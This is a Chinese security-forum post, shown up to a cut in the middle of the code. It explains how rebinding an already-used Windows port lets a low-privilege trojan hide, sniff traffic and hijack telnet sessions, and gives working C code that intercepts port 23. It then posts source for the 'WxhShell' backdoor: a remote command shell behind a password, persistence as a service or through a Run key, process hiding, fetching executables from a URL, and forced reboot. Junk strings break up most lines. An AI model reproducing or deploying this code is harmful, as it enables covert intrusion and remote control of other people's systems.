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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G0CmY43  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d@7 ]=P:  
WkXa%OZ  
  saddr.sin_family = AF_INET; 2P!Pbl<  
s7(mNpo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R\A5f\L9  
_D$|lk-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ga.a"\F.V  
9N5 &N3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !j%vUe;t  
+7^%fX;3pW  
  这意味着什么?意味着可以进行如下的攻击: =MB[v/M59w  
a&.8*|w3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |"5NI'X?  
e DX{}Dq(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EXS 1.3>  
y''`73U"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;5PXPpJ  
::9U5E;!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +QtK "5M  
k~`pV/6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `L]cJ0tAs  
B3c rms['  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cbx/  
*S:^3{.m=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \[B5j0vV,  
&P&M6v+  
  #include -PB m@}*  
  #include 80![aj}z4G  
  #include xs.>+(@|;  
  #include    Br`Xw^S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &]ts*qCEL  
  int main() ]6GdB3?UVM  
  { !-U5d9!  
  WORD wVersionRequested; DNLqipUw  
  DWORD ret; 2%. A{!  
  WSADATA wsaData; pu0IhDMn  
  BOOL val; A=I]1r  
  SOCKADDR_IN saddr; }_@*,  
  SOCKADDR_IN scaddr; TlQ#0_as[  
  int err; Xb?P'nD  
  SOCKET s; Cc$!TZq=  
  SOCKET sc; {tOu+zy  
  int caddsize; sn@gchO9s  
  HANDLE mt; r[q-O&2&  
  DWORD tid;   QO[!  
  wVersionRequested = MAKEWORD( 2, 2 ); rt_%_f>qd  
  err = WSAStartup( wVersionRequested, &wsaData ); F7Mf>."  
  if ( err != 0 ) { :~~}|Eu  
  printf("error!WSAStartup failed!\n"); c] $X+  
  return -1; }XX)U_ x  
  } i`z1if6O  
  saddr.sin_family = AF_INET; -,uTAk0+@  
   qTj7mUk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /v U$62KA  
]- ")r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <wW#Wnc]  
  saddr.sin_port = htons(23); P5P:_hr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ZweP$l  
  { ]EnB`g(4;  
  printf("error!socket failed!\n"); CJ8XKy  
  return -1; #@w8wCj  
  } lr=? &>MXj  
  val = TRUE; iyB02\d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ckj2$c~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g1@zk $  
  { o:.={)rX  
  printf("error!setsockopt failed!\n"); FDbb/6ku  
  return -1; :"5i/Cx  
  } n!2"pRIi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3%bCv_6B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )^qM%k8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yAy~|1}  
xdFm-_\-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -y5^xR  
  { Ur6UE2   
  ret=GetLastError(); }%c2u/PQ  
  printf("error!bind failed!\n"); zflq|dW  
  return -1; O:IU|INq8  
  } ai)S:2  
  listen(s,2); Ew5(U`]  
  while(1) j1Fy'os"!  
  { b|^g51v  
  caddsize = sizeof(scaddr); umaF}}-Q{  
  //接受连接请求 ]i(tou-[i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '- oS=OrZ  
  if(sc!=INVALID_SOCKET) v8Vw.Ce`f  
  { N7Kq$G2O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NoTEbFrV  
  if(mt==NULL) Se.\wkl#Y  
  { _PLY<i2vr  
  printf("Thread Creat Failed!\n"); {_&'tXL  
  break; i ?&t@"'  
  } )r3}9J  
  } :hJHjh  
  CloseHandle(mt); = NHuj.  
  } /{>$E>N;  
  closesocket(s); IppzQ0'=y1  
  WSACleanup(); Ls< ";QJc  
  return 0; /2N'SOX  
  }   G0oY`WXOB  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4wjy)VD_  
  { ajC'C!"^Ty  
  SOCKET ss = (SOCKET)lpParam; D99g}  
  SOCKET sc; `% IzW2v6  
  unsigned char buf[4096]; @}eEV[Lli  
  SOCKADDR_IN saddr; +;^Ux W  
  long num; ` Fnl<C<  
  DWORD val; t2skg  
  DWORD ret; !~Gx@Ro  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I@Pp[AyG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -sO[,  
  saddr.sin_family = AF_INET; sU!h^N$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rah"La  
  saddr.sin_port = htons(23); Cuu yG8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d` %8qLIW  
  { 1/X@~  
  printf("error!socket failed!\n"); r<VZE bm)  
  return -1; kW#,o9f\  
  } #hG0{_d7  
  val = 100; 8,B?!%FP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %IrR+f+H  
  { t"x 8]Gy  
  ret = GetLastError(); p4mi\~Q  
  return -1; M8dv y!D  
  } <Hd8Jd4f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jr[(g:L   
  { )[fjZG[  
  ret = GetLastError(); 'NJGez'b ,  
  return -1; "yaz!?O>  
  } O AJGwm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rQmDpoy=  
  { FvYgpbEZ  
  printf("error!socket connect failed!\n"); |osu4=s|  
  closesocket(sc); 0U|t@&q  
  closesocket(ss); j/.$ (E   
  return -1; HYcLXhvgu  
  } G>Fk )  
  while(1) <Qg).n>;z  
  { 8(-V pU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ffoL]u\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4<V%7z_.B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3y^PKIIrt  
  num = recv(ss,buf,4096,0); loRT+u$&  
  if(num>0) H<_BnT #  
  send(sc,buf,num,0); 0RHKzk6~c  
  else if(num==0) `9;0Y  
  break; ],`xd_=]=  
  num = recv(sc,buf,4096,0); 7egE."  
  if(num>0) qt_ocOr  
  send(ss,buf,num,0); { 0\Ez}  
  else if(num==0) pH&*5=t}  
  break; d*qb^C{'"  
  } R[_Q}W'HG  
  closesocket(ss); 9mE6Cp.Wv  
  closesocket(sc); LSewMj  
  return 0 ; MoAie|MKe  
  } grD[7;1~:)  
y;Ez|MS   
@*?)S{8  
========================================================== /my5s\;s|z  
8;PS>9<  
下边附上一个代码,,WXhSHELL rA+UftC:p6  
s;brs}  
========================================================== nm"]q`(K  
v C23  
#include "stdafx.h" HQp\0NC]  
D;nd_{%  
#include <stdio.h> $4>(}  
#include <string.h> &f=O`*I'+!  
#include <windows.h> NS<C"O  
#include <winsock2.h> :1 *q}R   
#include <winsvc.h> vCvjb\S  
#include <urlmon.h> ML_$/  
1G}f83yR  
#pragma comment (lib, "Ws2_32.lib") 4^r4O#  
#pragma comment (lib, "urlmon.lib") [8C|v61Y  
vHJOpQmt~  
#define MAX_USER   100 // 最大客户端连接数 T`?7z+2A  
#define BUF_SOCK   200 // sock buffer 6jw9p+.  
#define KEY_BUFF   255 // 输入 buffer Xr:gm`[  
6ZO6 O=KD  
#define REBOOT     0   // 重启 {c  : 7:  
#define SHUTDOWN   1   // 关机 6a*?m{  
~];r{IU  
#define DEF_PORT   5000 // 监听端口 'FNnFm  
Cn"_x  
#define REG_LEN     16   // 注册表键长度 1Kjqs)p^  
#define SVC_LEN     80   // NT服务名长度 YD3jP}Ym  
yj$$k~@  
// 从dll定义API GB%kxtGD;\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,NO2{Ha$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r'J="^k{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O]4v\~@-j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X<%`  
K}t=Y  
// wxhshell配置信息 Vu`5/QDq  
struct WSCFG { 1Clid\T,o  
  int ws_port;         // 监听端口 kzE<Y  
  char ws_passstr[REG_LEN]; // 口令 V` T l$EF  
  int ws_autoins;       // 安装标记, 1=yes 0=no LC1WVK/  
  char ws_regname[REG_LEN]; // 注册表键名 ]OSq}ul  
  char ws_svcname[REG_LEN]; // 服务名 eA{ nwtN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >&DC[)28  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pV8_i7\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zq6)jHfq.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9^L{)t>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lRk_<A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mEm=SpO[$o  
6"Ze%:AZZ  
}; F9} zt 9  
T_)g/,5>  
// default Wxhshell configuration /Nc)bF%gX  
struct WSCFG wscfg={DEF_PORT, M(^_/ 1Z  
    "xuhuanlingzhe", 9 NGKh3V  
    1,  )[S#:PP  
    "Wxhshell", r>e1IG  
    "Wxhshell", $7QGi|W*k  
            "WxhShell Service", /0swrt.  
    "Wrsky Windows CmdShell Service", ~6"=d  
    "Please Input Your Password: ", }qw->+nD  
  1, A"B#t"  
  "http://www.wrsky.com/wxhshell.exe", l4gF.-.GYF  
  "Wxhshell.exe" eRqPZb"6MR  
    }; J$W4AT  
s=e`}4  
// 消息定义模块 %G|Rb MP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jY2mn".N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z`qb>Y"xf3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gx7bV}&PN  
char *msg_ws_ext="\n\rExit."; UX2@eyejQ7  
char *msg_ws_end="\n\rQuit."; "Xg~1)%  
char *msg_ws_boot="\n\rReboot..."; "{S6iH)]8  
char *msg_ws_poff="\n\rShutdown..."; \#h{bnx  
char *msg_ws_down="\n\rSave to "; 1{ H=The  
b'ZzDYN  
char *msg_ws_err="\n\rErr!"; O$nW  
char *msg_ws_ok="\n\rOK!"; /F$E)qN7n  
<~*[OwN  
char ExeFile[MAX_PATH]; vM@8&,;  
int nUser = 0; vX7U|zy  
HANDLE handles[MAX_USER]; 5DpvMhc_  
int OsIsNt; !kG|BJ$j  
4@+']vN4  
SERVICE_STATUS       serviceStatus; v.&c1hKHb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R XCjYzt  
?I8r2M]  
// 函数声明 uHsLlfTn  
int Install(void); xnC:?d  
int Uninstall(void); =9Vo[  
int DownloadFile(char *sURL, SOCKET wsh); !4a#);`G  
int Boot(int flag); m-6&-G#  
void HideProc(void); ~ulcLvm:i  
int GetOsVer(void); A0>r]<y  
int Wxhshell(SOCKET wsl); i&1rf|  
void TalkWithClient(void *cs); C B`7KK  
int CmdShell(SOCKET sock); Gshy$'_e  
int StartFromService(void); EJP]E)  
int StartWxhshell(LPSTR lpCmdLine); d[{!^,%x"  
 ZC%;5O`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o!ZG@k?#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PqIskv+  
bU/4KZ'-^  
// 数据结构和表定义 BoQ%QV69%  
SERVICE_TABLE_ENTRY DispatchTable[] = ]%ewxF  
{  @M OaXe  
{wscfg.ws_svcname, NTServiceMain}, '`YZJ  
{NULL, NULL} ]WzeJ"r {3  
}; UlWm). b;v  
o[1#)&  
// 自我安装 OkAgO3>Y/  
int Install(void) ^D1gcI  
{ }$'XV.  
  char svExeFile[MAX_PATH]; 1S(n3(KRk$  
  HKEY key; @tJ4^<`P{  
  strcpy(svExeFile,ExeFile); ')}itS8  
{+ Ibi{  
// 如果是win9x系统,修改注册表设为自启动 0~EGrEt  
if(!OsIsNt) { E]v]fy"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /N({"G'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !g`I*ZE+e  
  RegCloseKey(key); w=CzPNRHH!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p>O/H1US;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <@# g2b  
  RegCloseKey(key); Y]=k"]:%  
  return 0; oB%_yy+  
    } &qK:LHhj  
  } : h(Z\D_  
} F\hVunPVx  
else { 6yBd9=3K  
c3Gy1#f:#2  
// 如果是NT以上系统,安装为系统服务 pH2/." zE<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d``wx}#Uk  
if (schSCManager!=0) tot~\S  
{ 6uv~.-T<l  
  SC_HANDLE schService = CreateService QFnpp\K  
  ( +*w}H 0Z  
  schSCManager, &]Uo>Gb3!q  
  wscfg.ws_svcname, SuB8mPn  
  wscfg.ws_svcdisp, gTgoS:M"_O  
  SERVICE_ALL_ACCESS, +I-BqA9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kh{3s:RQfC  
  SERVICE_AUTO_START, :<s`)  
  SERVICE_ERROR_NORMAL, ok [_Z;  
  svExeFile, yf;TIh%)=  
  NULL, ]v0Z[l>yf  
  NULL, |V4<eF-0S  
  NULL, $.t>* Bq  
  NULL, mBJr*_p  
  NULL D)pTE?@W'  
  ); >_xuXEslUz  
  if (schService!=0) qp)Wt6 k?  
  { BVj(Q}f8  
  CloseServiceHandle(schService); liG|#ny{  
  CloseServiceHandle(schSCManager);  sa&`CEa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xkw=os  
  strcat(svExeFile,wscfg.ws_svcname); u}%6=V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Vg=l[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tHo|8c~ [  
  RegCloseKey(key); K,JK9)T  
  return 0; t,dm3+R  
    } Ssuz%*  
  } Xz)qtDN|(  
  CloseServiceHandle(schSCManager); <5mv8'{L  
} w3"L5;oH  
} a??8)=0|}  
AC'_#nPL#  
return 1; s*_fRf:  
} 1og+(m`BL  
wPm  
// 自我卸载 |`Noj+T47I  
int Uninstall(void) \'<P~I&p  
{ t$~'$kM)<  
  HKEY key; }#u #m.  
rjiHP;-t1  
if(!OsIsNt) { yci}#,nb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Ow2,{Nn  
  RegDeleteValue(key,wscfg.ws_regname); W;cY g.W2  
  RegCloseKey(key); |0oaEd^*}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G'p322Bu  
  RegDeleteValue(key,wscfg.ws_regname); ~@Q ]@8Tv\  
  RegCloseKey(key); xpO;V}M|  
  return 0; ;@Fb>l BhX  
  } czU"  
} V2`Ud[  
} uDXV@;6<  
else { AoOA.t6RVo  
d@1^U9sf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0IdA!.|  
if (schSCManager!=0) fqY'Uq$=  
{ oSmETk\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '8\9@wzv  
  if (schService!=0) D*[J rq,  
  { 1AN$s  
  if(DeleteService(schService)!=0) { ppNMXbXR  
  CloseServiceHandle(schService); NN=^4Xpc:  
  CloseServiceHandle(schSCManager); c ?EvrtND  
  return 0; KK3iui  
  } GF8wKx#J  
  CloseServiceHandle(schService); __Ksn^I   
  } "O0xh_Nr  
  CloseServiceHandle(schSCManager); 8{/.1:  
} (AtyM?*  
} M-@X&b m,S  
N) _24  
return 1; 7L6L{~8 W  
} ] uyp i#[  
(DY[OIHI  
// 从指定url下载文件 Xpn\TD<_I  
int DownloadFile(char *sURL, SOCKET wsh) [2Zy~`*y{  
{ 0QW=2rs  
  HRESULT hr; M /v@C*c  
char seps[]= "/"; !rr,(!Ip?O  
char *token; hL6;n*S=  
char *file; ;>jEeIlT  
char myURL[MAX_PATH]; o h\$u5  
char myFILE[MAX_PATH]; %+Ze$c}X  
Iq4B%xo6G  
strcpy(myURL,sURL); bTrusSAl  
  token=strtok(myURL,seps); ,0,FzxX0!  
  while(token!=NULL) dH;2OWM  
  { AQ@)'  
    file=token; rvy%8%e?  
  token=strtok(NULL,seps); hEu_mw#  
  } 0V>Ho H   
5!fYTo|G>  
GetCurrentDirectory(MAX_PATH,myFILE); ) c\Y!vS  
strcat(myFILE, "\\"); |,:p[Oy  
strcat(myFILE, file); +llb{~ZN  
  send(wsh,myFILE,strlen(myFILE),0); `62v5d*>a  
send(wsh,"...",3,0); 4Ex&AR8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nL/]Q'(5  
  if(hr==S_OK) 1J/'R37lP  
return 0; $8UW^#Bpq  
else =hFY-~U  
return 1; $7DW-TA  
"QNQ00[T`>  
} w/ rQOHV{  
y42 Cg  
// 系统电源模块 aMY@**^v  
int Boot(int flag) ~[t#$2d}  
{ `qs}L  
  HANDLE hToken; ]&]DF Y~n  
  TOKEN_PRIVILEGES tkp; A| A#|D  
wV==sV  
  if(OsIsNt) { C&H'?0Y@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fy Ih\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J'|=J   
    tkp.PrivilegeCount = 1;  jb&MC 2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y< *-&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A8vd@0  
if(flag==REBOOT) { FUI*nkZY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b;UDgq8v  
  return 0; Oa~ThbX7  
} 2.niB>  
else { ,GYQ,9:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  )^{}ov  
  return 0; >lUPOc  
} Vn sV&cx  
  } v f{{z%3T  
  else { ?PMbbqa0  
if(flag==REBOOT) { +`k30-<P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3PU_STSix  
  return 0; /"?DOsJ.  
} `hj,rF+4  
else { yj&GJuNb~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cZ:jht  
  return 0; (b f IS  
} 8A3/@Z;0S  
} #\lvzMjCC  
F5 ]<=i  
return 1; j9[I6ko5'  
} J@I>m N1\  
F&czD;F  
// win9x进程隐藏模块 :IS?si5|  
void HideProc(void) p  lnH  
{ +mVAmG@  
~?ezd0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )xV37]  
  if ( hKernel != NULL ) M.mn9kw`  
  { YJ6~P   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T[|#DMg$F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qs,\P^n  
    FreeLibrary(hKernel); BjvQ6M{Y"+  
  } ~hvj3zC5xz  
~k?rP}>0  
return; 05FGfnq.8  
} S"h;u=5it  
r$={_M$  
// 获取操作系统版本 e`qrafa  
int GetOsVer(void) V'XEz;Ze  
{ ?^%[*OCCC!  
  OSVERSIONINFO winfo; "frZ%mv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bzNnEH`^]  
  GetVersionEx(&winfo); ?`U_|Yo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /fp8tL2Y  
  return 1; 3E|||3rf  
  else fI)XV7,X  
  return 0; bN. G%1  
} V@`b7GM  
j;-Wf6h{  
// 客户端句柄模块 dw<i)P^   
int Wxhshell(SOCKET wsl) ~rBFP)  
{ N^rpPq  
  SOCKET wsh; kzRvLs4xM  
  struct sockaddr_in client; 4@-tT;$  
  DWORD myID; rc8HZ  
k-|g  
  while(nUser<MAX_USER) OOSf<I*>  
{ 7y|U!r"Y  
  int nSize=sizeof(client); D j9aTO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7@;*e=v  
  if(wsh==INVALID_SOCKET) return 1; 3k)xzv%r`  
m| ,Tk:xH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zas&gsl-;  
if(handles[nUser]==0) jum"T\  
  closesocket(wsh); SF:98#pg  
else ]XEyG7D  
  nUser++; ; CCg]hX  
  } FLMiW]?x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F6q=W#~  
z[c8W@OJ  
  return 0; iP(MDVg  
} gFTU9k<  
lKejWT`;  
// 关闭 socket $#h U_vr  
void CloseIt(SOCKET wsh) E'f7=ChNF  
{ &gXL{cK'%  
closesocket(wsh); %1A8m-u]M  
nUser--; #H~55))F  
ExitThread(0); ,/+Mp  
} #,#_"  
y$R8J:5f  
// 客户端请求句柄 9A.NM+u7  
void TalkWithClient(void *cs) ]20:8l'  
{ $\P/ %eP  
%HG+ |)b  
  SOCKET wsh=(SOCKET)cs; 7He"IJ  
  char pwd[SVC_LEN]; FAnz0p+t  
  char cmd[KEY_BUFF]; ED>7  
char chr[1]; 5<(* +mP`  
int i,j; w PR Ns9^  
LLTr+@lj  
  while (nUser < MAX_USER) { QPf\lN/$4d  
_;PQt" ]  
if(wscfg.ws_passstr) { HKJCiQ|k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;I*t5{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kc2B_+Y1  
  //ZeroMemory(pwd,KEY_BUFF); t08U9`w  
      i=0; MM32\}Y6  
  while(i<SVC_LEN) { M$EF 8   
UmVn:a  
  // 设置超时 <9pI~\@w  
  fd_set FdRead; IE\RP!  
  struct timeval TimeOut; @H?OHpJ"`  
  FD_ZERO(&FdRead); D=a*Xu2zq  
  FD_SET(wsh,&FdRead); l\{Qnb(  
  TimeOut.tv_sec=8; bKS/T^UQ  
  TimeOut.tv_usec=0; _|C3\x1c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h/\v+xiF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y05!-G:Y\  
3J"`mQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uN<=v&]q  
  pwd=chr[0]; [s^p P2  
  if(chr[0]==0xd || chr[0]==0xa) { eW8cI)wU  
  pwd=0; !b`fykC  
  break; Zl3l=x h  
  } la{?&75]  
  i++; t_Eivm-,B  
    } c:K/0zY  
zdJPMNHg  
  // 如果是非法用户,关闭 socket Nt8"6k_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ *CXXp`  
} c_qox  
)$^xbC#j`3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 85# 3|5n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -`q!mdA2  
LBG`DYR@  
while(1) { z\tY A  
Q+Nnj(AQY  
  ZeroMemory(cmd,KEY_BUFF); @~2k5pa  
AIOGa<^  
      // 自动支持客户端 telnet标准   @] .s^ss9_  
  j=0; b$H bo;_   
  while(j<KEY_BUFF) { KN_n:`cH{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g=D]=&H  
  cmd[j]=chr[0]; M{p6&eg  
  if(chr[0]==0xa || chr[0]==0xd) { !=21K0~t#  
  cmd[j]=0; ^r}Uu~A>  
  break; ek)rsxf1A  
  } TSFrv8L  
  j++; BMAWjEr  
    } i-0 :Fs  
;fqp!|J  
  // 下载文件 LF.i0^#J  
  if(strstr(cmd,"http://")) { 4mY^pQ1=L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0i[t[_sce  
  if(DownloadFile(cmd,wsh)) bP$e1I3`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7x`$ A  
  else > U3>I^Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o Rk'I  
  } iOa<=  
  else { 3SWDPy  
z]g#2xD2  
    switch(cmd[0]) { Jy:@&c  
  n2*Ua/J-8  
  // 帮助 CxaI@+  
  case '?': { 7Z]?a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =z5=?  
    break; 0D4 4  
  } N''xdz3Z  
  // 安装 rMG[,:V  
  case 'i': { WClprSl8  
    if(Install()) dh]Hf,OLF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =KR^0<2r  
    else GX19GI@k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~C 3 Y/}  
    break; j*8Ze!^  
    } %zc.b  
  // 卸载 !pe[H*Cy  
  case 'r': { XKp(31])  
    if(Uninstall()) 2 br>{^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r8R7@S2V'  
    else n)cc\JPQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 71Q`B#t0'Z  
    break; b^[>\s'  
    } :F5(]g 7  
  // 显示 wxhshell 所在路径 6R m dt  
  case 'p': { fC^d@4ha  
    char svExeFile[MAX_PATH]; >.39OQ#  
    strcpy(svExeFile,"\n\r"); \zcSfNE  
      strcat(svExeFile,ExeFile); "j`T'%EV  
        send(wsh,svExeFile,strlen(svExeFile),0); iU0jv7}n  
    break; ;N!n06S3  
    } `o_i+?E  
  // 重启 i]zh8|">  
  case 'b': { g0~m[[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ([JFX@  
    if(Boot(REBOOT)) 3mE8tTA$R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s!09cS  
    else { ,EH-Sf2Cb  
    closesocket(wsh); Mf"(P.GIS  
    ExitThread(0); =S^vIo)  
    } 6UN{Vjr%`  
    break; qYqd-R  
    } ]%7m+-h@  
  // 关机 Yo5ged]i  
  case 'd': { Qmd2C&Xw  
